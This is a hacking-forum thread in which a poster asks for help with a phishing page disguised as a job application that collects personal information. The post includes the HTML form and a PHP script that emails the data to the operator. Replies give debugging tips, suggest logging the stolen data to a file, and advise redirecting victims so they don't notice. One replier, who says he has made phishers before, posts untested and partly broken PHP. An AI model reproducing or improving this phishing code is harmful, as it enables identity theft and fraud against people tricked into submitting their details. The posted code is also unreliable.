|
|
 |
 |
 |
 |
register |
bbs |
search |
rss |
faq |
about
|
 |
 |
meet up |
add to del.icio.us |
digg it
|
 |
 |
| Network (in)Security Interesting hacks and cracks. Info on firewalls, TCP/IP, encryption, networks, and security. The ins and outs of the phone system, caller services, how things work, what's illegal and what's not, cellular phones, beepers, telephony legislation, the PUC, ISDN, taps, who's listening, and switches. Talking about phones, hacking systems, technical advice, and such is completely LEGAL in the United States -- it's covered by the First Amendment. What's illegal is conspiracy to commit a crime. So if you say something like "Meet me at 2am so we can crack a can" or "I changed my cell phone's number myself" you are criminally liable. Stating "You can crack a can by doing thus-and-so" or "If you wanted to change a cell phone's number, you could do it like so" is perfectly OK. Posting passwords, calling card numbers, or credit card numbers is forbidden on this network. Posting such info will get you booted off the net. |
 |
|
|
#1
 2009-01-16, 03:56
|
GermanyOrFlorida 
Regular
|
|
|
|
Please! Help with PHP (Form to email HTML integration)
OK, so my friend has a phishing page, except it looks like a job application, and he is trying to design it to collect personal information.
He has successfully integrated his HTML FORM with his SENDMAIL.PHP file to send information from the form to his email.
But he is having a hard time with one problem:
He can't get ALL the data from the form to the email. Usually, only one field shows up in the email.
He has spent hours searching and using deductive resoning trying to figure out the syntax, but still no avail.
Can you help him please?
Here's a SHORTENED version of the HTML FORM, and also the full PHP code:
form action="sendmail.php" method="post" >
<tr>
<td>Full Name </td>
<td><input size="40" name="name1"> </td></tr>
<tr>
<td>Email Address </td>
<td><input size="30" name="email1"> </td></tr>
<tr>
<td>Street Address </td>
<td><input size="40" name="address1"> </td></tr>
<input type="submit" name="Submit" value="Submit Query">
PHP CODE (saved as sendmail.php):
<?php
$email=$_REQUEST['email1'];
$message=$_REQUEST['name1'];
mail("MYFRIENDSEMAIL@HOTMAIL.COM","Subject: $email", $message);
echo "Thank you for filling out your application<br>
You should receive an email from our employment representative shortly";
?>
Again, there are several more fields on the application, i've just shortened it down so it's easier to understand.
|
|
#2
 2009-01-16, 05:14
|
|
Regular
|
|
♣♣♣♣
|
|
Re: Please! Help with PHP (Form to email HTML integration)
OK, so my friend has a phishing page, except it looks like a job application, and he is trying to design it to collect personal information.
He has successfully integrated his HTML FORM with his SENDMAIL.PHP file to send information from the form to his email.
But he is having a hard time with one problem:
He can't get ALL the data from the form to the email. Usually, only one field shows up in the email.
He has spent hours searching and using deductive resoning trying to figure out the syntax, but still no avail.
Can you help him please?
Here's a SHORTENED version of the HTML FORM, and also the full PHP code:
form action="sendmail.php" method="post" >
<tr>
<td>Full Name </td>
<td><input size="40" name="name1"> </td></tr>
<tr>
<td>Email Address </td>
<td><input size="30" name="email1"> </td></tr>
<tr>
<td>Street Address </td>
<td><input size="40" name="address1"> </td></tr>
<input type="submit" name="Submit" value="Submit Query">PHP CODE (saved as sendmail.php):
<?php
$email=$_REQUEST['email1'];
$message=$_REQUEST['name1'];
mail("MYFRIENDSEMAIL@HOTMAIL.COM","Subject: $email", $message);
echo "Thank you for filling out your application<br>
You should receive an email from our employment representative shortly";
?>Again, there are several more fields on the application, i've just shortened it down so it's easier to understand.
A few things I'd do: A, write the information to a file, not email. It's so much more efficient that way, it takes less time (not having to use the mail server etc), and get all of your variables together and make them into one variable, like:
$whole = "$field1 - $field2 - $field3<br />\n"; and use that one variable to store the information rather than dragging all the other variables out. Without seeing the full code though it's a tough call.
|
|
#3
 2009-01-16, 09:39
|
sirholkms 
Regular
|
|
|
|
Re: Please! Help with PHP (Form to email HTML integration)
Post the full script and I will fix it.
|
|
#4
 2009-01-16, 12:14
|
Aragami 
Regular
|
|
|
|
Re: Please! Help with PHP (Form to email HTML integration)
Need to set id="name1/ email" instead of name, in your HTML.
And also use $_POST[''] to get the variables, instead of $_REQUEST['']
Have fun, skiddy.
|
|
#5
 2009-01-16, 13:02
|
wargsm 
Regular
|
|
|
|
Re: Please! Help with PHP (Form to email HTML integration)
Like a few people has said, you should be using $_POST, not request. Also as Clover suggested, I would write the info to a file instead of email. I'll write up some code, I've made phishers before.
Note to consider:
After they submit the form, send them to the correct page. They will just think they entered their password incorrectly.
EDIT:
Ok, just made this, haven't tested it as I don't have a PHP server, so it's most likely to be a bit sketchy, but here it is.
<?php
if(isset($_POST['submit'])) {
$firstname = $_POST['firstname'];
$surname = $_POST['surname'];
$email = $_POST['email'];
//Write to file method one:
$filename_to_write = "Data_" . $_POST->id . ".php";
//Write to file method two:
fwrite($_POST,'FileName');
//If FORM has already been submitted, then:
//send them to the correct website
//so they don't notice what happened.
//can't remember the code for that right now though
} else {
?>
<!--self referencing form, just for testing, remove when neccessary-->
<form name="input" action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST" onSubmit="">
<pre>
First Name: <input type=text name="firstname" size="15">
Surname: <input type=text name="surname" size="15">
E-mail: <input type="text" name="email" size="30">
</pre>
</form>
<?php
}
?>
|
|
 |
 |
To the best of our knowledge, the text on this page may be freely reproduced and distributed.

totse.com certificate signatures
|
 |
 |
About | Community | Bad Ideas | Drugs | Ego | Erotica | Fringe | Society | Technology
|
 |
 |
 |
 |
|
|